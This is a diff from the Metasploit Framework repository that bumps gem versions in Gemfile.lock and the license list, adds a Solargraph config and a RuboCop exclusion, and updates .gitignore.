||||
console.log('hasPR:');
|
||||
console.log(JSON.stringify({ data: hasPR.data, status: hasPR.status }, null, 4));
|
||||
|
||||
@@ -19,6 +19,8 @@ Gemfile.local.lock
|
||||
.yardoc
|
||||
# Mac OS X files
|
||||
.DS_Store
|
||||
# Ignore Solargraph config file
|
||||
.solargraph.yml
|
||||
# database config for testing
|
||||
config/database.yml
|
||||
# target config file for testing
|
||||
|
||||
@@ -79,6 +79,17 @@ Lint/UnexpectedBlockArity:
|
||||
Lint/UnmodifiedReduceAccumulator:
|
||||
Enabled: true
|
||||
|
||||
Lint/UnusedMethodArgument:
|
||||
Description: >-
|
||||
Disabled on files under the lib/ directory (aka library files)
|
||||
as this can break YARD documentation since YARD doesn't recognize
|
||||
the _ prefix before parameter names and thinks its a different argument.
|
||||
See https://github.com/rapid7/metasploit-framework/pull/17735
|
||||
Also see https://github.com/rubocop/rubocop/pull/11020
|
||||
Enabled: true
|
||||
Exclude:
|
||||
- 'lib/**/*'
|
||||
|
||||
Style/ArgumentsForwarding:
|
||||
Enabled: true
|
||||
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
---
|
||||
include:
|
||||
- "**/*.rb"
|
||||
exclude:
|
||||
- spec/**/*
|
||||
- test/**/*
|
||||
- vendor/**/*
|
||||
- ".bundle/**/*"
|
||||
- modules/**/*
|
||||
- data/**/*
|
||||
- db/**/*
|
||||
- external/**/*
|
||||
- plugins/**/*
|
||||
- scripts/**/* # Some of this is old and may not need indexing???
|
||||
require: []
|
||||
domains: []
|
||||
reporters:
|
||||
- rubocop
|
||||
- require_not_found
|
||||
formatter:
|
||||
rubocop:
|
||||
cops: safe
|
||||
except: []
|
||||
only: []
|
||||
extra_args: []
|
||||
require_paths: []
|
||||
plugins: []
|
||||
max_files: 0
|
||||
+97
-89
@@ -1,15 +1,17 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.3.10)
|
||||
metasploit-framework (6.3.26)
|
||||
actionpack (~> 7.0)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
aws-sdk-ec2
|
||||
aws-sdk-iam
|
||||
aws-sdk-s3
|
||||
aws-sdk-ssm
|
||||
bcrypt
|
||||
bcrypt_pbkdf
|
||||
bootsnap
|
||||
bson
|
||||
chunky_png
|
||||
dnsruby
|
||||
@@ -30,18 +32,18 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 2.0.122)
|
||||
metasploit-payloads (= 2.0.148)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 1.0.20)
|
||||
mqtt
|
||||
msgpack
|
||||
msgpack (~> 1.6.0)
|
||||
nessus_rest
|
||||
net-ldap
|
||||
net-smtp
|
||||
net-ssh
|
||||
network_interface
|
||||
nexpose
|
||||
nokogiri
|
||||
nokogiri (~> 1.14.0)
|
||||
octokit (~> 4.0)
|
||||
openssl-ccm
|
||||
openvas-omp
|
||||
@@ -98,60 +100,65 @@ GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.1.0)
|
||||
actionpack (7.0.4.2)
|
||||
actionview (= 7.0.4.2)
|
||||
activesupport (= 7.0.4.2)
|
||||
rack (~> 2.0, >= 2.2.0)
|
||||
actionpack (7.0.5)
|
||||
actionview (= 7.0.5)
|
||||
activesupport (= 7.0.5)
|
||||
rack (~> 2.0, >= 2.2.4)
|
||||
rack-test (>= 0.6.3)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.2.0)
|
||||
actionview (7.0.4.2)
|
||||
activesupport (= 7.0.4.2)
|
||||
actionview (7.0.5)
|
||||
activesupport (= 7.0.5)
|
||||
builder (~> 3.1)
|
||||
erubi (~> 1.4)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.1, >= 1.2.0)
|
||||
activemodel (7.0.4.2)
|
||||
activesupport (= 7.0.4.2)
|
||||
activerecord (7.0.4.2)
|
||||
activemodel (= 7.0.4.2)
|
||||
activesupport (= 7.0.4.2)
|
||||
activesupport (7.0.4.2)
|
||||
activemodel (7.0.5)
|
||||
activesupport (= 7.0.5)
|
||||
activerecord (7.0.5)
|
||||
activemodel (= 7.0.5)
|
||||
activesupport (= 7.0.5)
|
||||
activesupport (7.0.5)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 1.6, < 2)
|
||||
minitest (>= 5.1)
|
||||
tzinfo (~> 2.0)
|
||||
addressable (2.8.1)
|
||||
addressable (2.8.4)
|
||||
public_suffix (>= 2.0.2, < 6.0)
|
||||
afm (0.2.2)
|
||||
arel-helpers (2.14.0)
|
||||
activerecord (>= 3.1.0, < 8)
|
||||
ast (2.4.2)
|
||||
aws-eventstream (1.2.0)
|
||||
aws-partitions (1.722.0)
|
||||
aws-sdk-core (3.170.0)
|
||||
aws-partitions (1.776.0)
|
||||
aws-sdk-core (3.174.0)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
aws-partitions (~> 1, >= 1.651.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
jmespath (~> 1, >= 1.6.1)
|
||||
aws-sdk-ec2 (1.368.0)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sdk-ec2 (1.382.0)
|
||||
aws-sdk-core (~> 3, >= 3.174.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.75.0)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sdk-iam (1.79.0)
|
||||
aws-sdk-core (~> 3, >= 3.174.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-kms (1.63.0)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sdk-kms (1.66.0)
|
||||
aws-sdk-core (~> 3, >= 3.174.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-s3 (1.119.1)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sdk-s3 (1.123.1)
|
||||
aws-sdk-core (~> 3, >= 3.174.0)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.4)
|
||||
aws-sdk-ssm (1.151.0)
|
||||
aws-sdk-core (~> 3, >= 3.174.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sigv4 (1.5.2)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
bcrypt (3.1.18)
|
||||
bcrypt_pbkdf (1.1.0)
|
||||
bindata (2.4.15)
|
||||
bootsnap (1.16.0)
|
||||
msgpack (~> 1.2)
|
||||
bson (4.15.0)
|
||||
builder (3.2.4)
|
||||
byebug (11.1.3)
|
||||
@@ -161,12 +168,12 @@ GEM
|
||||
cookiejar (0.3.3)
|
||||
crass (1.0.6)
|
||||
daemons (1.4.1)
|
||||
debug (1.7.1)
|
||||
debug (1.8.0)
|
||||
irb (>= 1.5.0)
|
||||
reline (>= 0.3.1)
|
||||
diff-lcs (1.5.0)
|
||||
dnsruby (1.61.9)
|
||||
simpleidn (~> 0.1)
|
||||
dnsruby (1.70.0)
|
||||
simpleidn (~> 0.2.1)
|
||||
docile (1.4.0)
|
||||
domain_name (0.5.20190701)
|
||||
unf (>= 0.0.5, < 1.0.0)
|
||||
@@ -186,15 +193,15 @@ GEM
|
||||
factory_bot_rails (6.2.0)
|
||||
factory_bot (~> 6.2.0)
|
||||
railties (>= 5.0.0)
|
||||
faker (3.1.1)
|
||||
faker (3.2.0)
|
||||
i18n (>= 1.8.11, < 2)
|
||||
faraday (2.7.4)
|
||||
faraday (2.7.6)
|
||||
faraday-net_http (>= 2.0, < 3.1)
|
||||
ruby2_keywords (>= 0.0.4)
|
||||
faraday-net_http (3.0.2)
|
||||
faraday-retry (2.1.0)
|
||||
faraday-retry (2.2.0)
|
||||
faraday (~> 2.0)
|
||||
faye-websocket (0.11.1)
|
||||
faye-websocket (0.11.2)
|
||||
eventmachine (>= 0.12.0)
|
||||
websocket-driver (>= 0.5.1)
|
||||
ffi (1.15.5)
|
||||
@@ -214,10 +221,10 @@ GEM
|
||||
domain_name (~> 0.5)
|
||||
http_parser.rb (0.8.0)
|
||||
httpclient (2.8.3)
|
||||
i18n (1.12.0)
|
||||
i18n (1.14.1)
|
||||
concurrent-ruby (~> 1.0)
|
||||
io-console (0.6.0)
|
||||
irb (1.6.3)
|
||||
irb (1.7.0)
|
||||
reline (>= 0.3.0)
|
||||
jmespath (1.6.2)
|
||||
jsobfu (0.4.2)
|
||||
@@ -227,9 +234,9 @@ GEM
|
||||
logging (2.3.1)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.14)
|
||||
loofah (2.19.1)
|
||||
loofah (2.21.3)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.5.9)
|
||||
nokogiri (>= 1.12.0)
|
||||
memory_profiler (1.0.1)
|
||||
metasm (1.0.5)
|
||||
metasploit-concern (5.0.1)
|
||||
@@ -237,7 +244,7 @@ GEM
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
zeitwerk
|
||||
metasploit-credential (6.0.2)
|
||||
metasploit-credential (6.0.5)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 5.0.0)
|
||||
@@ -251,7 +258,7 @@ GEM
|
||||
activemodel (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
metasploit-payloads (2.0.122)
|
||||
metasploit-payloads (2.0.148)
|
||||
metasploit_data_models (6.0.2)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
@@ -264,7 +271,7 @@ GEM
|
||||
webrick
|
||||
metasploit_payloads-mettle (1.0.20)
|
||||
method_source (1.0.0)
|
||||
mini_portile2 (2.8.1)
|
||||
mini_portile2 (2.8.2)
|
||||
minitest (5.18.0)
|
||||
mqtt (0.6.0)
|
||||
msgpack (1.6.1)
|
||||
@@ -272,16 +279,16 @@ GEM
|
||||
mustermann (3.0.0)
|
||||
ruby2_keywords (~> 0.0.1)
|
||||
nessus_rest (0.1.6)
|
||||
net-ldap (0.17.1)
|
||||
net-ldap (0.18.0)
|
||||
net-protocol (0.2.1)
|
||||
timeout
|
||||
net-smtp (0.3.3)
|
||||
net-protocol
|
||||
net-ssh (7.0.1)
|
||||
net-ssh (7.1.0)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.3.0)
|
||||
nio4r (2.5.8)
|
||||
nokogiri (1.14.2)
|
||||
nio4r (2.5.9)
|
||||
nokogiri (1.14.5)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
racc (~> 1.4)
|
||||
nori (2.6.0)
|
||||
@@ -291,11 +298,12 @@ GEM
|
||||
openssl-ccm (1.2.3)
|
||||
openssl-cmac (2.0.2)
|
||||
openvas-omp (0.0.4)
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
parallel (1.22.1)
|
||||
parser (3.2.1.1)
|
||||
packetfu (2.0.0)
|
||||
pcaprub (~> 0.13.1)
|
||||
parallel (1.23.0)
|
||||
parser (3.2.2.3)
|
||||
ast (~> 2.4.1)
|
||||
racc
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.1)
|
||||
pdf-reader (2.11.0)
|
||||
@@ -304,7 +312,7 @@ GEM
|
||||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
ttfunk
|
||||
pg (1.4.6)
|
||||
pg (1.5.3)
|
||||
pry (0.14.2)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
@@ -312,22 +320,23 @@ GEM
|
||||
byebug (~> 11.0)
|
||||
pry (>= 0.13, < 0.15)
|
||||
public_suffix (5.0.1)
|
||||
puma (6.1.1)
|
||||
puma (6.3.0)
|
||||
nio4r (~> 2.0)
|
||||
racc (1.6.2)
|
||||
rack (2.2.6.3)
|
||||
rack-protection (3.0.5)
|
||||
racc (1.7.0)
|
||||
rack (2.2.7)
|
||||
rack-protection (3.0.6)
|
||||
rack
|
||||
rack-test (2.0.2)
|
||||
rack-test (2.1.0)
|
||||
rack (>= 1.3)
|
||||
rails-dom-testing (2.0.3)
|
||||
activesupport (>= 4.2.0)
|
||||
nokogiri (>= 1.6)
|
||||
rails-html-sanitizer (1.5.0)
|
||||
loofah (~> 2.19, >= 2.19.1)
|
||||
railties (7.0.4.2)
|
||||
actionpack (= 7.0.4.2)
|
||||
activesupport (= 7.0.4.2)
|
||||
rails-html-sanitizer (1.6.0)
|
||||
loofah (~> 2.21)
|
||||
nokogiri (~> 1.14)
|
||||
railties (7.0.5)
|
||||
actionpack (= 7.0.5)
|
||||
activesupport (= 7.0.5)
|
||||
method_source
|
||||
rake (>= 12.2)
|
||||
thor (~> 1.0)
|
||||
@@ -337,11 +346,11 @@ GEM
|
||||
rasn1 (0.12.1)
|
||||
strptime (~> 0.2.5)
|
||||
rb-readline (0.5.5)
|
||||
recog (3.0.3)
|
||||
recog (3.1.1)
|
||||
nokogiri
|
||||
redcarpet (3.6.0)
|
||||
regexp_parser (2.7.0)
|
||||
reline (0.3.2)
|
||||
regexp_parser (2.8.0)
|
||||
reline (0.3.5)
|
||||
io-console (~> 0.5)
|
||||
rex-arch (0.1.14)
|
||||
rex-text
|
||||
@@ -351,7 +360,7 @@ GEM
|
||||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.30)
|
||||
rex-core (0.1.31)
|
||||
rex-encoder (0.1.6)
|
||||
metasm
|
||||
rex-arch
|
||||
@@ -381,14 +390,14 @@ GEM
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.49)
|
||||
rex-socket (0.1.52)
|
||||
rex-core
|
||||
rex-sslscan (0.1.9)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.3)
|
||||
rex-text (0.2.50)
|
||||
rex-text (0.2.52)
|
||||
rex-zip (0.1.4)
|
||||
rex-text
|
||||
rexml (3.2.5)
|
||||
@@ -397,36 +406,36 @@ GEM
|
||||
rspec-core (~> 3.12.0)
|
||||
rspec-expectations (~> 3.12.0)
|
||||
rspec-mocks (~> 3.12.0)
|
||||
rspec-core (3.12.1)
|
||||
rspec-core (3.12.2)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-expectations (3.12.2)
|
||||
rspec-expectations (3.12.3)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-mocks (3.12.3)
|
||||
rspec-mocks (3.12.5)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-rails (6.0.1)
|
||||
rspec-rails (6.0.3)
|
||||
actionpack (>= 6.1)
|
||||
activesupport (>= 6.1)
|
||||
railties (>= 6.1)
|
||||
rspec-core (~> 3.11)
|
||||
rspec-expectations (~> 3.11)
|
||||
rspec-mocks (~> 3.11)
|
||||
rspec-support (~> 3.11)
|
||||
rspec-core (~> 3.12)
|
||||
rspec-expectations (~> 3.12)
|
||||
rspec-mocks (~> 3.12)
|
||||
rspec-support (~> 3.12)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.12.0)
|
||||
rubocop (1.48.0)
|
||||
rubocop (1.52.0)
|
||||
json (~> 2.3)
|
||||
parallel (~> 1.10)
|
||||
parser (>= 3.2.0.0)
|
||||
rainbow (>= 2.2.2, < 4.0)
|
||||
regexp_parser (>= 1.8, < 3.0)
|
||||
rexml (>= 3.2.5, < 4.0)
|
||||
rubocop-ast (>= 1.26.0, < 2.0)
|
||||
rubocop-ast (>= 1.28.0, < 2.0)
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 2.4.0, < 3.0)
|
||||
rubocop-ast (1.27.0)
|
||||
rubocop-ast (1.29.0)
|
||||
parser (>= 3.2.1.0)
|
||||
ruby-macho (3.0.0)
|
||||
ruby-prof (1.4.2)
|
||||
@@ -450,37 +459,37 @@ GEM
|
||||
simplecov-html (0.12.3)
|
||||
simpleidn (0.2.1)
|
||||
unf (~> 0.1.4)
|
||||
sinatra (3.0.5)
|
||||
sinatra (3.0.6)
|
||||
mustermann (~> 3.0)
|
||||
rack (~> 2.2, >= 2.2.4)
|
||||
rack-protection (= 3.0.5)
|
||||
rack-protection (= 3.0.6)
|
||||
tilt (~> 2.0)
|
||||
sqlite3 (1.6.1)
|
||||
sqlite3 (1.6.3)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
sshkey (2.0.0)
|
||||
strptime (0.2.5)
|
||||
swagger-blocks (3.0.0)
|
||||
thin (1.8.1)
|
||||
thin (1.8.2)
|
||||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
thor (1.2.1)
|
||||
tilt (2.1.0)
|
||||
thor (1.2.2)
|
||||
tilt (2.2.0)
|
||||
timecop (0.9.6)
|
||||
timeout (0.3.2)
|
||||
ttfunk (1.7.0)
|
||||
tzinfo (2.0.6)
|
||||
concurrent-ruby (~> 1.0)
|
||||
tzinfo-data (1.2022.7)
|
||||
tzinfo-data (1.2023.3)
|
||||
tzinfo (>= 1.0.0)
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
unf_ext (0.0.8.2)
|
||||
unicode-display_width (2.4.2)
|
||||
unix-crypt (1.3.0)
|
||||
unix-crypt (1.3.1)
|
||||
warden (1.2.9)
|
||||
rack (>= 2.0.9)
|
||||
webrick (1.7.0)
|
||||
webrick (1.8.1)
|
||||
websocket-driver (0.7.5)
|
||||
websocket-extensions (>= 0.1.0)
|
||||
websocket-extensions (0.1.5)
|
||||
@@ -500,9 +509,8 @@ GEM
|
||||
activesupport (>= 4.2, < 8.0)
|
||||
xmlrpc (0.3.2)
|
||||
webrick
|
||||
yard (0.9.28)
|
||||
webrick (~> 1.7.0)
|
||||
zeitwerk (2.6.7)
|
||||
yard (0.9.34)
|
||||
zeitwerk (2.6.8)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
+64
-62
@@ -1,25 +1,27 @@
|
||||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 1.1.0, MIT
|
||||
actionpack, 7.0.4.2, MIT
|
||||
actionview, 7.0.4.2, MIT
|
||||
activemodel, 7.0.4.2, MIT
|
||||
activerecord, 7.0.4.2, MIT
|
||||
activesupport, 7.0.4.2, MIT
|
||||
addressable, 2.8.1, "Apache 2.0"
|
||||
actionpack, 7.0.5, MIT
|
||||
actionview, 7.0.5, MIT
|
||||
activemodel, 7.0.5, MIT
|
||||
activerecord, 7.0.5, MIT
|
||||
activesupport, 7.0.5, MIT
|
||||
addressable, 2.8.4, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
arel-helpers, 2.14.0, MIT
|
||||
ast, 2.4.2, MIT
|
||||
aws-eventstream, 1.2.0, "Apache 2.0"
|
||||
aws-partitions, 1.722.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.170.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.368.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.75.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.63.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.119.1, "Apache 2.0"
|
||||
aws-partitions, 1.776.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.174.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.382.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.79.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.66.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.123.1, "Apache 2.0"
|
||||
aws-sdk-ssm, 1.151.0, "Apache 2.0"
|
||||
aws-sigv4, 1.5.2, "Apache 2.0"
|
||||
bcrypt, 3.1.18, MIT
|
||||
bcrypt_pbkdf, 1.1.0, MIT
|
||||
bindata, 2.4.15, "Simplified BSD"
|
||||
bootsnap, 1.16.0, MIT
|
||||
bson, 4.15.0, "Apache 2.0"
|
||||
builder, 3.2.4, MIT
|
||||
bundler, 2.1.4, MIT
|
||||
@@ -30,9 +32,9 @@ concurrent-ruby, 1.2.2, MIT
|
||||
cookiejar, 0.3.3, unknown
|
||||
crass, 1.0.6, MIT
|
||||
daemons, 1.4.1, MIT
|
||||
debug, 1.7.1, "ruby, Simplified BSD"
|
||||
debug, 1.8.0, "ruby, Simplified BSD"
|
||||
diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+"
|
||||
dnsruby, 1.61.9, "Apache 2.0"
|
||||
dnsruby, 1.70.0, "Apache 2.0"
|
||||
docile, 1.4.0, MIT
|
||||
domain_name, 0.5.20190701, "Simplified BSD, New BSD, Mozilla Public License 2.0"
|
||||
ed25519, 1.3.0, MIT
|
||||
@@ -42,11 +44,11 @@ erubi, 1.12.0, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 6.2.1, MIT
|
||||
factory_bot_rails, 6.2.0, MIT
|
||||
faker, 3.1.1, MIT
|
||||
faraday, 2.7.4, MIT
|
||||
faker, 3.2.0, MIT
|
||||
faraday, 2.7.6, MIT
|
||||
faraday-net_http, 3.0.2, MIT
|
||||
faraday-retry, 2.1.0, MIT
|
||||
faye-websocket, 0.11.1, "Apache 2.0"
|
||||
faraday-retry, 2.2.0, MIT
|
||||
faye-websocket, 0.11.2, "Apache 2.0"
|
||||
ffi, 1.15.5, "New BSD"
|
||||
filesize, 0.2.0, MIT
|
||||
fivemat, 1.3.7, MIT
|
||||
@@ -58,74 +60,74 @@ hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
|
||||
http-cookie, 1.0.5, MIT
|
||||
http_parser.rb, 0.8.0, MIT
|
||||
httpclient, 2.8.3, ruby
|
||||
i18n, 1.12.0, MIT
|
||||
i18n, 1.14.1, MIT
|
||||
io-console, 0.6.0, "ruby, Simplified BSD"
|
||||
irb, 1.6.3, "ruby, Simplified BSD"
|
||||
irb, 1.7.0, "ruby, Simplified BSD"
|
||||
jmespath, 1.6.2, "Apache 2.0"
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.6.3, ruby
|
||||
little-plugger, 1.1.4, MIT
|
||||
logging, 2.3.1, MIT
|
||||
loofah, 2.19.1, MIT
|
||||
loofah, 2.21.3, MIT
|
||||
memory_profiler, 1.0.1, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 5.0.1, "New BSD"
|
||||
metasploit-credential, 6.0.2, "New BSD"
|
||||
metasploit-framework, 6.3.10, "New BSD"
|
||||
metasploit-credential, 6.0.5, "New BSD"
|
||||
metasploit-framework, 6.3.26, "New BSD"
|
||||
metasploit-model, 5.0.1, "New BSD"
|
||||
metasploit-payloads, 2.0.122, "3-clause (or ""modified"") BSD"
|
||||
metasploit-payloads, 2.0.148, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.2, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.20, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
mini_portile2, 2.8.1, MIT
|
||||
mini_portile2, 2.8.2, MIT
|
||||
minitest, 5.18.0, MIT
|
||||
mqtt, 0.6.0, MIT
|
||||
msgpack, 1.6.1, "Apache 2.0"
|
||||
multi_json, 1.15.0, MIT
|
||||
mustermann, 3.0.0, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-ldap, 0.17.1, MIT
|
||||
net-ldap, 0.18.0, MIT
|
||||
net-protocol, 0.2.1, "ruby, Simplified BSD"
|
||||
net-smtp, 0.3.3, "ruby, Simplified BSD"
|
||||
net-ssh, 7.0.1, MIT
|
||||
net-ssh, 7.1.0, MIT
|
||||
network_interface, 0.0.2, MIT
|
||||
nexpose, 7.3.0, "New BSD"
|
||||
nio4r, 2.5.8, MIT
|
||||
nokogiri, 1.14.2, MIT
|
||||
nio4r, 2.5.9, MIT
|
||||
nokogiri, 1.14.5, MIT
|
||||
nori, 2.6.0, MIT
|
||||
octokit, 4.25.1, MIT
|
||||
openssl-ccm, 1.2.3, MIT
|
||||
openssl-cmac, 2.0.2, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
packetfu, 1.1.13, BSD
|
||||
parallel, 1.22.1, MIT
|
||||
parser, 3.2.1.1, MIT
|
||||
packetfu, 2.0.0, "New BSD"
|
||||
parallel, 1.23.0, MIT
|
||||
parser, 3.2.2.3, MIT
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.1, LGPL-2.1
|
||||
pdf-reader, 2.11.0, MIT
|
||||
pg, 1.4.6, "Simplified BSD"
|
||||
pg, 1.5.3, "Simplified BSD"
|
||||
pry, 0.14.2, MIT
|
||||
pry-byebug, 3.10.1, MIT
|
||||
public_suffix, 5.0.1, MIT
|
||||
puma, 6.1.1, "New BSD"
|
||||
racc, 1.6.2, "ruby, Simplified BSD"
|
||||
rack, 2.2.6.3, MIT
|
||||
rack-protection, 3.0.5, MIT
|
||||
rack-test, 2.0.2, MIT
|
||||
puma, 6.3.0, "New BSD"
|
||||
racc, 1.7.0, "ruby, Simplified BSD"
|
||||
rack, 2.2.7, MIT
|
||||
rack-protection, 3.0.6, MIT
|
||||
rack-test, 2.1.0, MIT
|
||||
rails-dom-testing, 2.0.3, MIT
|
||||
rails-html-sanitizer, 1.5.0, MIT
|
||||
railties, 7.0.4.2, MIT
|
||||
rails-html-sanitizer, 1.6.0, MIT
|
||||
railties, 7.0.5, MIT
|
||||
rainbow, 3.1.1, MIT
|
||||
rake, 13.0.6, MIT
|
||||
rasn1, 0.12.1, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 3.0.3, unknown
|
||||
recog, 3.1.1, unknown
|
||||
redcarpet, 3.6.0, MIT
|
||||
regexp_parser, 2.7.0, MIT
|
||||
reline, 0.3.2, ruby
|
||||
regexp_parser, 2.8.0, MIT
|
||||
reline, 0.3.5, ruby
|
||||
rex-arch, 0.1.14, "New BSD"
|
||||
rex-bin_tools, 0.1.8, "New BSD"
|
||||
rex-core, 0.1.30, "New BSD"
|
||||
rex-core, 0.1.31, "New BSD"
|
||||
rex-encoder, 0.1.6, "New BSD"
|
||||
rex-exploitation, 0.1.38, "New BSD"
|
||||
rex-java, 0.1.6, "New BSD"
|
||||
@@ -136,22 +138,22 @@ rex-powershell, 0.1.97, "New BSD"
|
||||
rex-random_identifier, 0.1.10, "New BSD"
|
||||
rex-registry, 0.1.4, "New BSD"
|
||||
rex-rop_builder, 0.1.4, "New BSD"
|
||||
rex-socket, 0.1.49, "New BSD"
|
||||
rex-socket, 0.1.52, "New BSD"
|
||||
rex-sslscan, 0.1.9, "New BSD"
|
||||
rex-struct2, 0.1.3, "New BSD"
|
||||
rex-text, 0.2.50, "New BSD"
|
||||
rex-text, 0.2.52, "New BSD"
|
||||
rex-zip, 0.1.4, "New BSD"
|
||||
rexml, 3.2.5, "Simplified BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.12.0, MIT
|
||||
rspec-core, 3.12.1, MIT
|
||||
rspec-expectations, 3.12.2, MIT
|
||||
rspec-mocks, 3.12.3, MIT
|
||||
rspec-rails, 6.0.1, MIT
|
||||
rspec-core, 3.12.2, MIT
|
||||
rspec-expectations, 3.12.3, MIT
|
||||
rspec-mocks, 3.12.5, MIT
|
||||
rspec-rails, 6.0.3, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.12.0, MIT
|
||||
rubocop, 1.48.0, MIT
|
||||
rubocop-ast, 1.27.0, MIT
|
||||
rubocop, 1.52.0, MIT
|
||||
rubocop-ast, 1.29.0, MIT
|
||||
ruby-macho, 3.0.0, MIT
|
||||
ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.13.0, MIT
|
||||
@@ -164,25 +166,25 @@ sawyer, 0.9.2, MIT
|
||||
simplecov, 0.18.2, MIT
|
||||
simplecov-html, 0.12.3, MIT
|
||||
simpleidn, 0.2.1, MIT
|
||||
sinatra, 3.0.5, MIT
|
||||
sqlite3, 1.6.1, "New BSD"
|
||||
sinatra, 3.0.6, MIT
|
||||
sqlite3, 1.6.3, "New BSD"
|
||||
sshkey, 2.0.0, MIT
|
||||
strptime, 0.2.5, "Simplified BSD"
|
||||
swagger-blocks, 3.0.0, MIT
|
||||
thin, 1.8.1, "GPL-2.0+, ruby"
|
||||
thor, 1.2.1, MIT
|
||||
tilt, 2.1.0, MIT
|
||||
thin, 1.8.2, "GPL-2.0+, ruby"
|
||||
thor, 1.2.2, MIT
|
||||
tilt, 2.2.0, MIT
|
||||
timecop, 0.9.6, MIT
|
||||
timeout, 0.3.2, "ruby, Simplified BSD"
|
||||
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 2.0.6, MIT
|
||||
tzinfo-data, 1.2022.7, MIT
|
||||
tzinfo-data, 1.2023.3, MIT
|
||||
unf, 0.1.4, "2-clause BSDL"
|
||||
unf_ext, 0.0.8.2, MIT
|
||||
unicode-display_width, 2.4.2, MIT
|
||||
unix-crypt, 1.3.0, BSD
|
||||
unix-crypt, 1.3.1, 0BSD
|
||||
warden, 1.2.9, MIT
|
||||
webrick, 1.7.0, "ruby, Simplified BSD"
|
||||
webrick, 1.8.1, "ruby, Simplified BSD"
|
||||
websocket-driver, 0.7.5, "Apache 2.0"
|
||||
websocket-extensions, 0.1.5, "Apache 2.0"
|
||||
